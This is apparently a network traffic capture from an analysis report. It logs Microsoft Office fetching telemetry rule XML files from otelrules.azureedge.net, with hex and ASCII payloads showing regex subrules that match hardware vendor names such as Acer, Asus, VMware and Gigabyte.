2024-11-22 16:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160946Z-15b8b599d88wn9hhhC1TEBry0g00000001ug000000000e71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.10	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:46 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:46 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9bcae678-901e-007b-2946-3cac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160946Z-178bfbc474bp8mkvhC1NYCzqnn00000002z000000000psg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:46 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.10	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:46 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5235ff2f-501e-008f-1c4e-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160946Z-178bfbc474b9xljthC1NYCtw94000000034g000000009v96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.10	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:46 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:46 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160946Z-178bfbc474bwh9gmhC1NYCy3rs00000003ag0000000070w4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:46 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.10	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:46 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3e1ce11e-901e-00ac-5292-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160946Z-15b8b599d885ffrhhC1TEBtuv000000001u0000000002kk7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.10	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:48 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:48 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160948Z-15b8b599d88l2dpthC1TEBmzr000000001rg000000000t72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:48 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.10	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:48 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:48 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160948Z-174c587ffdfx984chC1TEB676g00000001h000000000srgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:48 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.10	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:48 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:48 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 7fd471a5-f01e-00aa-27bf-3b8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160948Z-15b8b599d882zv28hC1TEBdchn00000001kg000000009e7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:48 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.10	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:48 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:48 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160948Z-178bfbc474bgvl54hC1NYCsfuw000000037g000000007fs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:48 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.10	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:48 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:48 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160948Z-178bfbc474b7cbwqhC1NYC8z4n000000036g000000001zeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:48 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.10	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:50 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:50 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 90548f26-b01e-0021-643a-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160950Z-178bfbc474bpnd5vhC1NYC4vr4000000038g000000004zaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:51 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.10	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:50 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 16:09:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T160950Z-15b8b599d88tr2flhC1TEB5gk400000001tg00000000a61m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 16:09:51 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.10	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
